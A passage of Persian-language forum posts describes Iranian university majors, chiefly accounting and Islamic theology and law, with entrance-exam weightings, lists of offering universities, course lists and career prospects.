    فارغ التحصیلان این دوره قادر خواهند بود با کسب مهارتهای لازم در کادر وزارت امور خارجه ، سفارت خانه ها و یا نمایندگیهای کنسولی جمهوری اسلامی ایران در خارج از کشور همچنین سازمانها و نهادهای بین المللی انجام وظیفه نموده اهداف سیاست خارجی جمهوری اسلامی ایران را در رابطه با ماموریتهای محوله تحقق بخشند .

  41. حسابداری
    مقدمه

    تغییرات سریع جامعه امروزی، حسابداری یا «زبان تجارت» را که در ثبت و تجزیه و تحلیل اطلاعات و تحلیل اطلاعات اساسی اقتصادی در مؤسسات مختلف مورد استفاده می باشد، بسیار پیچیده کرده است. تصمیم گیری صحیح و دقیق بر مبنای اطلاعات قابل اعتماد برای توزیع مطلوب ثروت و استفاده از منابع کمیاب ملی بسیار ضروری به نظر می رسد. بنابراین حسابداری نقش مهمی را در سیستم اقتصادی و اجتماعی هر جامعه ای ایفا می کند. در دنیای متغیر بازرگانی و صنعتی، نقش حسابداری عملاً و به تدریج تکامل پیدا کرده است. و علاوه بر وظیفه کنترل که نتیجه بسیار طبیعی کار حسابداری است، در مؤسسات اقتصادی با برنامه ریزی بازرگانی و پیش بینی های اقتصادی نیز نقش مهمی را بر عهده گرفته است.
    وظایف مدیریت در موسسات اقتصادی با برنامه ریزی شروع و با کنترل و نظارت خاتمه پیدا می کند. برنامه ریزی و کنترل موجب می شود که منابع و نیروهای انسانی بطور هماهنگ در طرق سودمند جامعه بکار افتد و حداکثر کارائی حاصل شود.
    سیستم حسابداری نقش موثری در برنامه ریزی و کنترل عملیات موسسات اقتصادی ایفا می کند. حسابداری نه تنها اطلاعاتی را که مبنای تنظیم طرحها و برنامه هاست در اختیار مدیریت قرار می دهد، بلکه اطلاعات لازم در مورد چگونگی اجرای عملیات را نیز مورد ارزیابی قرار می دهد و علت عدم کارائی را کشف می کند و در هر مورد تصمیمات مقتضی اتخاذ می نماید.
    ضرایب دروس دبیرستان مربوط به این رشته در آزمون سراسری دانشگاهها و موسسات آموزش عالی کشور عبارتند از: ضریب ۴ برای درس ریاضی، ضریب ۲ برای درس اقتصاد، ضریب ۲ برای ادبیات فارسی، ضریب ۱ برای درس زبان عربی، ضریب ۱ برای تاریخ و جغرافیا، ضریب ۱ برای درس علوم اجتماعی، ضریب ۱ برای درس فلسفه و منطق و ضریب ۱ برای درس روانشناسی.
    علاقه به مسائل مالی و حسابداری و داشتن پایه قوی در ریاضیات و صبر و حوصله کافی می تواند از عوامل مهم موفقیت در این رشته باشد.

    سطوح رشته

    ردیف نام دانشگاه کاردانی کارشناسی ارشد دکترا
    ۱ آزاد- آبادان * *
    ۲ آزاد- آباده * *
    ۳ آزاد- آزاد شهر * *
    ۴ آزاد- آشتیان * *
    ۵ آزاد- ابرکوه *
    ۶ آزاد- اردکان *
    ۷ آزاد- اسفراین *
    ۸ آزاد- اسلام آباد *
    ۹ آزاد- اسلامشهر *
    ۱۰ آزاد- اشکور *
    ۱۱ آزاد- الیگودرز * ‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌
    ۱۲ آزاد- ایذه * *
    ۱۳ آزاد- ایرانشهر * *
    ۱۴ آزاد- ایلام *
    ۱۵ آزاد- بابل * *
    ۱۶ آزاد- بافق *
    ۱۷ آزاد- بجنورد *
    ۱۸ آزاد- بردسیر *
    ۱۹ آزاد- بروجن * * ‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌
    ۲۰ آزاد- بناب * *
    ۲۱ آزاد- بندر انزلی *
    ۲۲ آزاد- بندر لنگه * ‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌
    ۲۳ آزاد- بهبها ن * *
    ۲۴ آزاد- بیرجند * *
    ۲۵ آزاد- بیضاء *
    ۲۶ آزاد- تالش *
    ۲۷ آزاد- تایباد *
    ۲۸ آزاد- تبریز * *
    ۲۹ آزاد- تربت جام * *
    ۳۰ آزاد- تربت حیدریه * *
    ۳۱ آزاد- تفت *
    ۳۲ آزاد- تفرش *
    ۳۳ آزاد- تهران * *
    ۳۴ آزاد- تهران مرکزی *
    ۳۵ آزاد- تویسرکان *
    ۳۶ آزاد- جهرم *
    ۳۷ آزاد- جویبار *
    ۳۸ آزاد- چابهار *
    ۳۹ آزاد- حاجی آباد *
    ۴۰ آزاد- خرم آباد * *
    ۴۱ آزاد- خرمشهر * *
    ۴۲ آزاد- خمین *
    ۴۳ آزاد- دامغان * ‌‌‌‌‌‌‌‌‌‌‌‌‌‌
    ۴۴ آزاد- دهدشت *
    ۴۵ آزاد- دورود *
    ۴۶ آزاد- رامهرمز *
    ۴۷ آزاد- رشت * *
    ۴۸ آزاد- رودبار *
    ۴۹ آزاد- رودسر *
    ۵۰ آزاد- رودهن * *
    ۵۱ آزاد- زاهدشهر *
    ۵۲ آزاد- زرقان *
    ۵۳ آزاد- زنجان *
    ۵۴ آزاد- سبزوار * *
    ۵۵ آزاد- سراب *
    ۵۶ آزاد- سراوان *
    ۵۷ آزاد- سروستان *
    ۵۸ آزاد- سقز *
    ۵۹ آزاد- سلسله و دلفان *
    ۶۰ آزاد- سمنان *
    ۶۱ آزاد- سنندج * *
    ۶۲ آزاد- سواد کوه *
    ۶۳ آزاد- سوسنگرد * ‌
    ۶۴ آزاد- سیرجان * *
    ۶۵ آزاد- شاهرود * *
    ۶۶ آزاد- شهرکرد *
    ۶۷ آزاد- شهریار * *
    ۶۸ آزاد- شیراز *
    ۶۹ آزاد- شیروان * *
    ۷۰ آزاد- صفاشهر *
    ۷۱ آزاد- طبس * * *
    ۷۲ آزاد- علوم و تحقیقات تهران *
    ۷۳ آزاد- علی آباد کتول * *
    ۷۴ آزاد- فراهان *
    ۷۵ آزاد- فیروزکوه * * ‌
    ۷۶ آزاد- فیروزآباد * *
    ۷۷ آزاد- قائنات *
    ۷۸ آزاد- قایم شهر *
    ۷۹ آزاد- قروه *
    ۸۰ آزاد- قزوین * *
    ۸۱ آزاد- قشم *
    ۸۲ آزاد- قم *
    ۸۳ آزاد- قیام دشت *
    ۸۴ آزاد- گچساران *
    ۸۵ آزاد- گرمسار *
    ۸۶ آزاد- گز * *
    ۸۷ آزاد- گنبدکاووس *
    ۸۸ آزاد- لامرد *
    ۸۹ آزاد- لاهیجان * *
    ۹۰ آزاد- ماکو * *
    ۹۱ آزاد- مبارکه * * *
    ۹۲ آزاد- محلات * *
    ۹۳ آزاد- مرند * *
    ۹۴ آزاد- مرودشت *
    ۹۵ آزاد- مسجد سلیمان *
    ۹۶ آزاد- مشهد * * *
    ۹۷ آزاد- ملایر * *
    ۹۸ آزاد- ممسنی *
    ۹۹ آزاد- میانه * *
    ۱۰۰ آزاد- میمه * *
    ۱۰۱ آزاد- میناب *
    ۱۰۲ آزاد- مینو دشت *
    ۱۰۳ آزاد- نراق * *
    ۱۰۴ آزاد- نهاوند *
    ۱۰۵ آزاد- نوشهر و چالوس * *
    ۱۰۶ آزاد- نکا *
    ۱۰۷ آزاد- نی ریز *
    ۱۰۸ آزاد- کاشان * *
    ۱۰۹ آزاد- کرج *
    ۱۱۰ آزاد- کرمان * *
    ۱۱۱ آزاد- کرمانشاه * ‌ *
    ۱۱۲ آزاد- کمیجان ‌ *
    ۱۱۳ آزاد- کنگاور *
    ۱۱۴ آزاد- کهنوج *
    ۱۱۵ آزاد- کوهدشت *
    ۱۱۶ آزاد- یاسوج * *
    ۱۱۷ آزاد- یزد * ‌
    ۱۱۸ آزاد-اراک * ‌ * *
    ۱۱۹ آزاد-اردستان *
    ۱۲۰ آزاد-ارومیه *
    ۱۲۱ آزاد-اقلید * * ‌
    ۱۲۲ آزاد-بروجرد * * *
    ۱۲۳ آزاد-بندر عباس *
    ۱۲۴ آزاد-بوشهر *
    ۱۲۵ آزاد-خوراسگان *
    ۱۲۶ آزاد-زاهدان *
    ۱۲۷ آزاد-ماهشهر *
    ۱۲۸ آزاد-نیشابور * * *
    ۱۲۹ آزاد-همدان * * *
    ۱۳۰ آموزش عالی تعاون *
    ۱۳۱ ارومیه *
    ۱۳۲ الزهرا تهران *
    ۱۳۳ امام خمینی قزوین *
    ۱۳۴ ایلام *
    ۱۳۵ بابلسر *
    ۱۳۶ بوشهر *
    ۱۳۷ تهران *
    ۱۳۸ دانشکده تربیت دبیر فنی وحرفه ای شریعتی *
    ۱۳۹ رازی کرمانشاه *
    ۱۴۰ زابل *
    ۱۴۱ زاهدان * ‌
    ۱۴۲ زنجان *
    ۱۴۳ سنندج *
    ۱۴۴ شریعتی * ‌
    ۱۴۵ شهیدچمران اهواز * *
    ۱۴۶ شیراز * *
    ۱۴۷ صنعتی اصفهان * *
    ۱۴۸ صنعتی شاهرود * *
    ۱۴۹ علامه طباطبائی * *
    ۱۵۰ قم * *
    ۱۵۱ ولیعصر رفسنجان * *

    درسهای رشته

    ردیف نام درس ردیف نام درس
    ۱ بهداشت مواد غذائی ۲ آشپزی (۱)
    ۳ آشپزی (۲) ۴ آشنایی با موزه های ایران
    ۵ آمار ۶ آمار و احتمالات
    ۷ آمار و ریاضیات در حسابداری ۸ آمار و کاربرد آن در مدیریت
    ۹ آمار کاربردی در مدیریت جهانگردی ۱۰ اخلاق و تربیت اسلامی
    ۱۱ اصول تغذیه و رژیمهای غذائی ۱۲ اصول تنظیم و کنترل بودجه دولتی
    ۱۳ اصول حسابداری ۱ ۱۴ اصول حسابداری ۱- جهانگردی
    ۱۵ اصول حسابداری ۲ ۱۶ اصول حسابداری ۲- جهانگردی
    ۱۷ اصول حسابداری ۳ ۱۸ اصول حسابداری ۲
    ۱۹ اصول سازمان و مدیریت (۱) ۲۰ اصول سازمان و مدیریت (۲)
    ۲۱ اصول علم اقتصاد ۱ ۲۲ اصول علم اقتصاد ۱ (خرد- جهانگردی)
    ۲۳ اصول علم اقتصاد ۲ ۲۴ انقلاب اسلامی و ریشه‌های ان
    ۲۵ بررسی پدیدههای جدید در تحقیقات ۲۶ بررسی پیشرفتها و تحقیقات
    ۲۷ بررسی موارد خاص در حسابداری ۲۸ برنامه نویسی کامپیوتر
    ۲۹ پژوهش عملیاتی ۱ ۳۰ پژوهش عملیاتی ۲
    ۳۱ پول و ارز و بانکداری ۳۲ تئوری حسابداری ۱
    ۳۳ تئوریهای حسابداری پیشرفته ۳۴ تاریخ اسلام
    ۳۵ تحقیق در عملیات ۱ ۳۶ تحقیق در عملیات ۲
    ۳۷ تربیت بدنی ۲ ۳۸ توسعه اقتصادی
    ۳۹ توسعه اقتصادی و برنامه‌ریزی ۴۰ توسعه عقاید و افکار حسابداری
    ۴۱ جامعه شناسی ۴۲ جمعیت و تنظیم خانواده
    ۴۳ حسابداری بین‌الملل ۴۴ حسابداری پیشرفته ۱
    ۴۵ حسابداری پیشرفته ۲ ۴۶ حسابداری در مدیریت تکمیلی
    ۴۷ حسابداری دولتی ۴۸ حسابداری دولتی پیشرفته
    ۴۹ حسابداری صنعتی ۱ ۵۰ حسابداری صنعتی ۳
    ۵۱ حسابداری صنعتی قسمت دوم ۵۲ حسابداری مالیاتی
    ۵۳ حسابداری میانه ۱ ۵۴ حسابداری میانه ۳
    ۵۵ حسابداری و حسابرسی دولتی ۵۶ حسابداری صنعتی ۱
    ۵۷ حسابداری میانه ۲ ۵۸ حسابرسی پیشرفته
    ۵۹ حسابرسی قسمت اول ۶۰ حسابرسی قسمت دوم
    ۶۱ حقوق بازرگانی ۶۲ خط مشی مالی و مالیه عمومی
    ۶۳ خط و مش مالیه عمومی ۶۴ رساله
    ۶۵ روانشناسی عمومی ۶۶ روش تحقیق
    ۶۷ روش تحقیق در حسابداری ۶۸ روش تحقیق و ماخذشناسی
    ۶۹ روش تحقیق و نگارش ۷۰ ریاضیات و آمار بازرگانی
    ۷۱ ریاضیات پایه ۷۲ ریاضیات پیش دانشگاهی
    ۷۳ ریاضیات و کاربرد ان در مدیریت ۲ ۷۴ زبان انگلیسی عمومی
    ۷۵ زبان پیش دانشگاهی ۷۶ زبان پیش�

  42. مقدمه

    امروزه حسابداری آنقدر دچار تغییر و تحول گشته که بخش های دولتی را از بخش خصوصی و کلان را از خرد جدا نموده ، زمانی که مالیات در قوانین کشورها شکل جدی و کاربردی بخود گرفت و شرکت ها و کارمندان مجبور به پرداخت مالیات شدند دولت برای محاسبات فنی مالی خود ناچار به تربیت افرادی شد که بتوانند این مهم را به پایان برسانند. دوره کاردانی حسابداری با گرایشهای دولتی و مالیاتی یکی از رشته های آموزش عالی است که هدف آن آموزش و تربیت کاردانهای مالی محاسباتی و مالیاتی درنظام مالی دولتی و سطوح مختلف سازمان هزینه و خزانه دار یکل و همچنین سازمان تشخیص مالیات می باشد .
    هدف دوره
    تامین نیروی انسانی متخصص مالی محاسباتی و مالیاتی وزارت اقتصادی و دارایی و سایر دستگاههای اجرایی از رده های شغلی ، حسابدار ، کمک حسابرس، کمک کارشناس مالی ، معاون ذیحساب و هم چنین کمک ممیز ، ممیز ، کمک کارشناس مالی و مالیاتی و حسابرس مالیاتی و سایر شاغل صف و ستاد در حوزه فنی ، مالی و اداری در وضعیت مطلوب تحصیلات دانشگاهی در مقطع کاردانی می باشد.
    طول مقطع تحصیلی و شکل نظام
    طول متوسط دوره کاردانی حسابداری با گرایشهای دولتی و مالیاتی ۲ تا ۳ سال است که دروس آن حداقل در ۵ نیمسال برنامه ریزی شده است.
    طول هر نیمسال تحصیلی ۱۷ هفته فعال آموزشی است و هر واحد درس به صورت نظری ۱۷ ساعت و به صورت عملی ۳۴ ساعت خواهد بود.
    دانشجویان از نیمسال دوم تحصیل هر هفته ۲۲ ساعت زیر نظر کارشناسان و افراد خبره ، در مشاغل مختلف و تخصصی وزارت امور اقتصادی و دارایی به کارورزی اشتغال خواهند یافت تا آموخته های نظری خود را با دستاوردهای تجربی کامل کنند.

    سطوح رشته

    ردیف نام دانشگاه کاردانی کارشناسی ارشد دکترا
    ۱ وزارت اقتصاد *

    درسهای رشته

    ردیف نام درس ردیف نام درس
    ۱ آمار کاربردی ۲ اصول تنظیم و کنترل بودجه دولتی
    ۳ اصول حسابداری ۱ ۴ اصول حسابداری ۲
    ۵ اصول حسابداری ۳ ۶ اصول علم اقتصاد ۱
    ۷ اصول علم اقتصاد ۲ ۸ بررسی مالیاتی
    ۹ پژوهش عملیاتی ۱۰ پول و ارز و بانکداری
    ۱۱ تحلیل قوانین و مقررات مالیاتی ۱ ۱۲ تحلیل قوانین و مقررات مالیاتی ۲
    ۱۳ حسابداری پیشرفته ۱ ۱۴ حسابداری پیشرفته ۲
    ۱۵ حسابداری صنعتی ۱ ۱۶ حسابداری میانه ۱
    ۱۷ حسابداری دولتی ۱ ۱۸ حسابداری دولتی ۲
    ۱۹ حسابداری صنعتی ۲ ۲۰ حسابداری میانه ۲
    ۲۱ حسابرسی ۱ ۲۲ حسابرسی ۲
    ۲۳ حسابرسی دولتی ۲۴ حقوق اساسی و آشنایی با تشکیلات دولت
    ۲۵ حقوق تجارت ( بازرگانی) ۲۶ حقوق و مقررات مدنی
    ۲۷ روشهای تحقیق و ماخذشناسی ۲۸ ریاضیات پایه
    ۲۹ ریاضیات کاربردی ۳۰ زبان تخصصی حسابداری ۱
    ۳۱ زبان تخصصی حسابداری ۲ ۳۲ مالیه عمومی و خط مشی مالی دولت ها
    ۳۳ مباحث جاری در قوانین مالیاتی ۳۴ مبانی رفتار سازمانی
    ۳۵ مبانی سازمان و مدیریت ۳۶ مبانی و کاربرد کامپیوتر در مدیریت
    ۳۷ مبانی مالیات ۳۸ مدیریت تولید
    ۳۹ کلیات حقوق ۴۰ کلیات قوانین و مقررات مالی دولتی

    صنعت و بازار کار

    بنابر طبیعت واحدهای گذرانده شده و کارورزی های ضمن آموزش ، دانش آموختگان این دو رشته در مقطع کاردانی حسابداری قابلیت های لازم جهت تصدی مشاغل زیر را خواهند داشت.
    نیروی انسانی متخصص مالی محاسباتی و مالیاتی وزارت اقتصادی و دارایی در سایر دستگاههای اجرایی به عنوان:
    حسابدار ،
    کمک حسابرس،
    کمک کارشناس مالی ،
    معاون ذیحساب و
    هم چنین کمک ممیز ،
    ممیز ،
    کمک کارشناس مالی و مالیاتی و
    حسابرس مالیاتی

  43. مقدمه

    دوره کاردانی حسابداری یکی از دوره های تحصیلی آموزش عالی است و هدف از آن آموزش و تربیت افرادی است که پس از یک آموزش دو ساله وارد بازار کار گردیده و قسمتی از نیازهای کشور را در زمینه امور مالی و حسابداری تامین نمایند.
    طول دوره و شکل نظام:
    طول دوره کاردانی حسابداری ۲ سال است و کلیه دروس آن در مدت ۴ نیمسال ارائه و برگزار می شود. طول هر نیم سال تحصیلی ۱۷ هفته می باشد. علاوه بر این دانشجویان این دوره برای تسلط بیشتر مباحثی که در کلاسهای درس ارائه می شود موظف هستند به مدت ۳ ماه زیر نظر استادان موسسه آموزش عالی مربوطه کارآموزی نمایند. بدیهی است که این سه ماه بطول مدت تحصیل دانشجویان این دوره اضافه می گردد.
    ضرورت و اهمیت:
    از آنجائیکه حجم کار حسابداری در موسسات مختلف بازرگانی و صنعتی و نیز در موسسات حسابرسی زیاد و مستلزم صرف فرصت بسیار می باشد، فارغ التحصیلان دوره کاردانی حسابداری می توانند با ورود و اشتغال به کار در این قبیل موسسات کمک موثری به مسئولان قسمتها و دوایر حسابداری نموده و با انجام کارهای جمع آوری و طبقه بندی اطلاعات حسابداری بار زیادی را از دوش آنان بر دارند و حتی در موسسات کوچک خود مسئولیت امور حسابداری را عهده دار گردند.

    سطوح رشته

    ردیف نام دانشگاه کاردانی کارشناسی ارشد دکترا
    ۱ وزارت اقتصاد *

    درسهای رشته

    ردیف نام درس ردیف نام درس
    ۱ آمار کاربردی ۲ ابررسانایی و کاربرد آن
    ۳ اصول تنظیم و کنترل بودجه دولتی ۴ اصول حسابداری ۱
    ۵ اصول حسابداری ۲ ۶ اصول حسابداری ۳
    ۷ اصول علم اقتصاد ۱ ۸ اصول علم اقتصاد ۲
    ۹ پژوهش عملیاتی ۱۰ پول و ارز و بانکداری
    ۱۱ حسابداری پیشرفته ۱ ۱۲ حسابداری پیشرفته ۲
    ۱۳ حسابداری صنعتی ۱ ۱۴ حسابداری مالیاتی
    ۱۵ حسابداری میانه ۱ ۱۶ حسابداری دولتی ۱
    ۱۷ حسابداری دولتی ۲ ۱۸ حسابداری صنعتی ۲
    ۱۹ حسابداری میانه ۲ ۲۰ حسابرسی صنعتی ۳
    ۲۱ حسابرسی ۱ ۲۲ حسابرسی ۲
    ۲۳ حسابرسی ۳ ۲۴ حسابرسی دولتی
    ۲۵ حسابرسی سیستم های حسابداری کامپیوتری ۲۶ حقوق اساسی
    ۲۷ حقوق تجارت ( بازرگانی) ۲۸ حقوق و مقررات مدنی
    ۲۹ روشهای تحقیق و ماخذشناسی ۳۰ ریاضیات پایه
    ۳۱ ریاضیات کاربردی ۳۲ زبان تخصصی حسابداری ۱
    ۳۳ زبان تخصصی حسابداری ۲ ۳۴ مالیه عمومی و خط مشی مالی دولت ها
    ۳۵ مبانی رفتار سازمانی ۳۶ مبانی سازمان و مدیریت
    ۳۷ مبانی و کاربرد کامپیوتر در مدیریت ۳۸ مدیریت تولید
    ۳۹ مدیریت مالی ۱ ۴۰ مدیریت مالی ۲
    ۴۱ کلیات حقوق

    صنعت و بازار کار

    فارغ التحصیلان دوره کاردانی حسابداری قادر به انجام فعالیتهای زیر خواهند بود:
    انجام کلیه امور حسابداری در موسسات کوچک بازرگانی و صنعتی
    انجام کارهای دفترنویسی و جمع آوری و طبقه بندی اطلاعات مالی و حسابداری در موسسات بزرگ تجارتی و صنعتی زیر نظر سرپرستان مربوطه .

  44. سلام
    به تر تیب رشته ها یی که از شاگردان عزیر
    رشته انسانی
    سهراب و سارا گذاشته شده
    باستان شناسی
    علوم اقتصادی
    مجددا علوم اقتصادی
    اقتصاد حمل و نقل
    علوم اجتماعی
    الهیات و معارف اسلامی
    علوم و ارتباط اجتماعی
    فلسفه
    فقه و حقوق اساسی
    فقه و اصول اساسی

  45. مقدمه

    پس از پیروزی انقلاب شکوهمند اسلامی دانشگاه امام صادق علیه‌السلام به جهت بارور کردن اهداف فرهنگی انقلاب و در راستای تامین نیروی کار آمد و مورد نیاز مراکز آموزشی با بهره گیری از دو اهرم قدرتمند حوزه و دانشگاه تاسیس ، و به تربیت نیرو هایی همت گماشت که بتوانند در آینده نیازهای علمی و فرهنگی جامعه را متناسب بار ایدئو لوژیکی انقلاب بر اورده نمایند .
    خوشبختانه عملکرد دانشگاه در چند سال اخیر با فارغ التحصیل شدن دانشجویانی که هم اکنون در سنگرهای علمی و فکری مشغول انجام وظیفه هستند بهترین دلیل این مدعاست .
    از آنجائیکه تحول و پویائی برنامه های آموزشی کما و کیفا یکی از بهترین ارتقاء علمی و کاربردی مراکز آموزشی است ،رشته الهیات و معارف اسلامی و ارشاد دانشگاه امام صادق علیه‌السلام در جهت تحول برنامه آموزشی مقطع کارشناسی ارشد خود به تاسیس شاخه های فقه و اصول ، فلسفه و کلام ، قران و حدیث و ارشاد با اهداف زیر پرداخته است :
    ۱ – آشنایی تخصصی با فقه و اصول در حدود دوره سطح در حوزه های علمیه و تاریخ فقه و فقها
    ۲ – آشنایی تخصصی با آیات و احادیث ، تاریخ و علوم قرآنی و روش های مختلف تفسیری
    ۳ – آشنایی تخصصی با تاریخ فلسفه ، فلسفه، کلام وعرفان اسلامی و سایر مکتبهای مهم فلسفی
    ۴ – آشنایی تحلیلی با تاریخ اسلام
    ۵- آشنایی با عقاید ، تاریخ ادیان و فرق اسلامی
    ۶ – آشنایی با کلیاتی از علم سیاست و اقتصاد
    ۷ – آشنایی با روش تحقیق و تدریس در مراکز عالی آموزشی و تحقیقاتی علوم انسانی در داخل و خارج از کشور
    ۸ – آشنایی با ادبیات و زبان عربی و یک زبان خارجی در حد مکالمه . ترجمه نگارش و تبیین معارف اسلامی

    سطوح رشته

    ردیف نام دانشگاه کاردانی کارشناسی ارشد دکترا
    ۱ مذاهب اسلامی *

    درسهای رشته

    ردیف نام درس ردیف نام درس
    ۱ آشنایی با ادیان بزرگ ۲ آشنایی با مبادی علم اصول
    ۳ آیات الاحکام ۴ اصول عقاید ۱
    ۵ اصول عقاید ۲ ۶ اصول فقه ۱
    ۷ اصول فقه ۲ ۸ اصول فقه ۳
    ۹ اصول فقه ۴ ۱۰ اصول فقه ۵
    ۱۱ تاریخ اسلام ۱ ۱۲ تاریخ اسلام ۲
    ۱۳ تاریخ فقه ۱۴ تاریخ فلسفه اسلامی ۱
    ۱۵ تاریخ فلسفه اسلامی ۲ ۱۶ تاریخ علوم قرآن
    ۱۷ تجوید ۱۸ تفسیر قرآن ۱
    ۱۹ تفسیر قرآن ۲ ۲۰ حکمت اشراق
    ۲۱ حکمت مشاء ۲۲ روش تحقیق
    ۲۳ زبان تخصصی ۱ ۲۴ زبان تخصصی ۲
    ۲۵ زبان تخصصی ۳ ۲۶ شناخت فلسفی نهج‌البلاغه
    ۲۷ صرف ۱ ۲۸ صرف ۲
    ۲۹ صرف و نحو عالی ۱ ۳۰ صرف و نحو عالی ۲
    ۳۱ صرف و نحو عالی ۳ ۳۲ فارسی
    ۳۳ فقه ۵ و ۶ ۳۴ فقه ۱
    ۳۵ فقه ۱۰ ۳۶ فقه ۲
    ۳۷ فقه ۳ و ۴ ۳۸ فقه ۷
    ۳۹ فقه ۸ ۴۰ فقه ۹
    ۴۱ فقه تطبیقی ۱ ۴۲ فقه تطبیقی ۲
    ۴۳ فلسفه اسلامی ۱ ۴۴ فلسفه اسلامی ۲
    ۴۵ فلسفه اسلامی ۳ ۴۶ فلسفه اسلامی ۴
    ۴۷ فلسفه اسلامی ۵ ۴۸ قواعد فقه
    ۴۹ معانی و بیان ۱ ۵۰ معانی و بیان ۲
    ۵۱ منطق ۱ ۵۲ منطق ۲
    ۵۳ منطق ۳ ۵۴ مکاتبات فلسفی غرب ۱
    ۵۵ مکاتبات فلسفی غرب ۲ ۵۶ مکالمه عربی ۱
    ۵۷ مکالمه عربی ۲ ۵۸ مکالمه عربی ۳
    ۵۹ مکالمه عربی ۴ ۶۰ نحو ۱
    ۶۱ نحو ۲ ۶۲ کلام ۱
    ۶۳ کلام ۲

    صنعت و بازار کار

    ۱ – داشتن زمینه مناسب جهت تحلیل و بررسی مذاهب مختلف اسلامی
    ۲ – توانائی تدریس علوم و معارف اسلامی در دانشگاهها و مراکز آموزش عالی
    ۳ – توانائی انجام تحقیقات علمی در علوم و معارف اسلامی
    ۴ – توانائی مکالمه ، نگارش ، ترجمه ،و تبیین معارف اسلامی به زبان عربی و یک زبان خارجی
    ۵ – توانائی تدوین ، تنظیم ، نقد و بررسی کتب دروس معارف اسلامی در مدارس و مراکز آموزش عالی

  46. مقدمه
    پس از انقلاب اسلامی و متناسب با تغییر نگرش ها و رفتارها قوانین متعددی دچار تغییر و تحول گردید حتی قانون اساسی . ریشه بسیاری از مبانی قانون گذاری در جمهوری اسلامی ایران فقه شیعه و قواعدی بود که ما آن را در چارچوب قواعد فقه می شناسیم مدرسه عالی شهید مطهری با عنایت به اهداف عالیه نظام مقدس جمهوری اسلامی ایران و نیازهای علمی و فرهنگی کشور در زمینه های آموزشی ، پژوهشی و اجرایی به اساتید ، محققان و کارشناس ، به تنظیم و تدوین برنامه درسی مناسب برای دوره کارشناسی فقه و حقوق اسلامی اقدام نموده است . مشخصات کلی ، برنامه و سرفصل دروس به شرح زیر است :
    کارشناس فقه و حقوق اسلامی یکی از دوره های آموزشی در نظام آموزش عالی است و هدف از تشکیل آن :
    ۱) تربیت اساتید مورد نیاز دانشگاهها و موسسات آموزش عالی در رشته های الهیات و حقوق از طریق دوره های کارشناسی ارشد و دکتری .
    ۲) تربیت محققان و پژوهشگران مورد نیاز مراکز علمی و تحقیقاتی از طریق دوره های کارشناسی ارشد و دکتری .
    ۳) تربیت کارشناسان مورد نیاز دستگاه قضایی کشور.
    ۴) تربیت کارشناسان توانا جهت خدمت در قسمتهای کارشناسی مراکز دولتی و غیره .

    سطوح رشته

    ردیف نام دانشگاه کاردانی کارشناسی ارشد دکترا
    ۱ آزاد- آزاد شهر *
    ۲ آزاد- ایذه *
    ۳ آزاد- بابل *
    ۴ آزاد- بناب *
    ۵ آزاد- تبریز *
    ۶ آزاد- تربت حیدریه *
    ۷ آزاد- تهران شمال *
    ۸ آزاد- تهران مرکزی *
    ۹ آزاد- تویسرکان *
    ۱۰ آزاد- جیرفت *
    ۱۱ آزاد- خمین *
    ۱۲ آزاد- دامغان *
    ۱۳ آزاد- سبزوار *
    ۱۴ آزاد- سمنان *
    ۱۵ آزاد- شهرری *
    ۱۶ آزاد- شهرکرد *
    ۱۷ آزاد- شیروان *
    ۱۸ آزاد- قم *
    ۱۹ آزاد- گچساران *
    ۲۰ آزاد- گناباد *
    ۲۱ آزاد- لاهیجان *
    ۲۲ آزاد- مشهد *
    ۲۳ آزاد- نجف آباد *
    ۲۴ آزاد- نوشهر و چالوس *
    ۲۵ آزاد- ورامین *
    ۲۶ آزاد- کرج *
    ۲۷ آزاد- یاسوج *
    ۲۸ آزاد-آستارا *
    ۲۹ آزاد-اردبیل *
    ۳۰ آزاد-بندر عباس *
    ۳۱ آزاد-تاکستان *
    ۳۲ آزاد-همدان *

    درسهای رشته

    ردیف نام درس ردیف نام درس
    ۱ آئین دادرسی مدنی ۲ آئین دادرسی کیفری
    ۳ ادبیات عرب ۱ صرف و نحو ۴ ادبیات عرب ۲ صرف و نحو
    ۵ ادبیات عرب ۳ صرف و نحو کاربردی ۶ ادبیات عرب ۴ علوم بلاغت
    ۷ اصول فقه ۱ ۸ اصول فقه ۲
    ۹ اصول فقه ۳ ۱۰ اصول فقه ۴
    ۱۱ اصول فقه ۵ ۱۲ تاریخ تحلیلی اسلام ۱
    ۱۳ تاریخ تحلیلی اسلام ۲ ۱۴ تاریخ فقه و فقهاء
    ۱۵ تفسیر قرآن ۱ ۱۶ تفسیر قرآن ۲
    ۱۷ حقوق اساسی ۱۸ حقوق بین الملل خصوصی
    ۱۹ حقوق بین الملل عمومی ۲۰ حقوق تجارت ۱
    ۲۱ حقوق تجارت ۲ ۲۲ حقوق تطبیقی
    ۲۳ حقوق جزای اختصاصی ۱ ۲۴ حقوق جزای اختصاصی ۲
    ۲۵ حقوق جزای عمومی ۲۶ حقوق مدنی ۱
    ۲۷ حقوق مدنی ۲ ۲۸ حقوق مدنی ۳
    ۲۹ حقوق کار ۳۰ درایه الحدیث
    ۳۱ زبان تخصصی ۱ ۳۲ زبان تخصصی ۲
    ۳۳ زبان تخصصی ۳ ۳۴ زبان تخصصی ۴
    ۳۵ علوم قرآن ۳۶ فقه ۱
    ۳۷ فقه ۲ ۳۸ فقه ۳
    ۳۹ فقه ۴ ۴۰ فقه ۵
    ۴۱ فقه ۶ ۴۲ فقه ۷
    ۴۳ فقه ۸ ۴۴ فقه ۹
    ۴۵ فقه تطبیقی ۴۶ فلسفه اسلامی ۱
    ۴۷ فلسفه اسلامی ۲ ۴۸ مقدمه علم حقوق
    ۴۹ منطق ۱ ۵۰ منطق ۲
    ۵۱ کلام ۱ ۵۲ کلام ۲
    ۵۳ کلام ۳

    صنعت و بازار کار
